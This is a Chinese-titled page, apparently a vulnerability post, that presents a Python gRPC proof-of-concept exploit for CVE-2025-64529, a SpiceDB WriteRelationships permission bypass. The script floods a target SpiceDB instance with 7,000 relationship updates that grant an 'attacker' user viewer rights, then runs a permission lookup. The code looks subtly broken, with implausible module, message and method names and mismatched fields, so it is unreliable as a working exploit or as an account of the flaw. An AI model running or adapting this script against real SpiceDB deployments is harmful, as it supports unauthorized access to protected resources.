SpiceDB权限检查绕过漏洞（CVE-2025-64529）

# CVE-2025-64529 PoC - SpiceDB WriteRelationships Permission Bypass # This PoC demonstrates the vulnerability in SpiceDB < 1.45.2 # where failed WriteRelationships calls incorrectly return success import grpc from protobuf import spicedb_pb2, spicedb_pb2_grpc def exploit_spicedb_vulnerability(): """ Exploit conditions: 1. SpiceDB version < 1.45.2 2. --write-relationships-max-updates-per-call > 6500 3. Authorization schema uses exclusion operator 4. Crafted request with updates exceeding datastore payload limit """ # Connect to SpiceDB instance channel = grpc.insecure_channel('target-spicedb:50051') stub = spicedb_pb2_grpc.GrpcAPIStub(channel) # Prepare relationships with exclusion operation # Create enough updates to exceed datastore payload limit updates = [] # Generate large number of relationship updates # The key is to exceed the datastore's maximum payload size for i in range(7000): # Exceeds 6500 threshold update = spicedb_pb2.RelationshipUpdate( operation=spicedb_pb2.Operation_TOUCH, relationship=spicedb_pb2.ObjectReference( object_type="document", object_id=f"doc_{i}", relation="viewer" ), subject=spicedb_pb2.ObjectReference( object_type="user", object_id="attacker", relation="" ) ) updates.append(update) # Craft WriteRelationships request write_request = spicedb_pb2.WriteRelationshipsRequest( updates=updates, metadata=spicedb_pb2.RequestMetadata( snap_token=bytes(), consistency=spicedb_pb2.Consistency( requirement=spicedb_pb2.Consistency_REQUIRED ) ) ) # Send request - will incorrectly return success even if failed try: response = stub.WriteRelationships(write_request) # Vulnerability: Response shows success but write actually failed if response.written_at.token: print("[!] VULNERABLE: Request returned success but may have failed") print("[!] Subsequent permission checks may return incorrect results") # Verify by checking permission with exclusion relation check_request = spicedb_pb2.PermissionLookupSubjectRequest( resource=spicedb_pb2.ObjectReference( object_type="document", object_id="doc_1", relation="" ), permission="viewer", subject=spicedb_pb2.ObjectReference( object_type="user", object_id="attacker", relation="" ) ) check_response = stub.PermissionLookupSubject(check_request) print(f"[!] Permission check result: {check_response}") except grpc.RpcError as e: print(f"[*] Request failed with: {e.code()}") channel.close() if __name__ == "__main__": exploit_spicedb_vulnerability()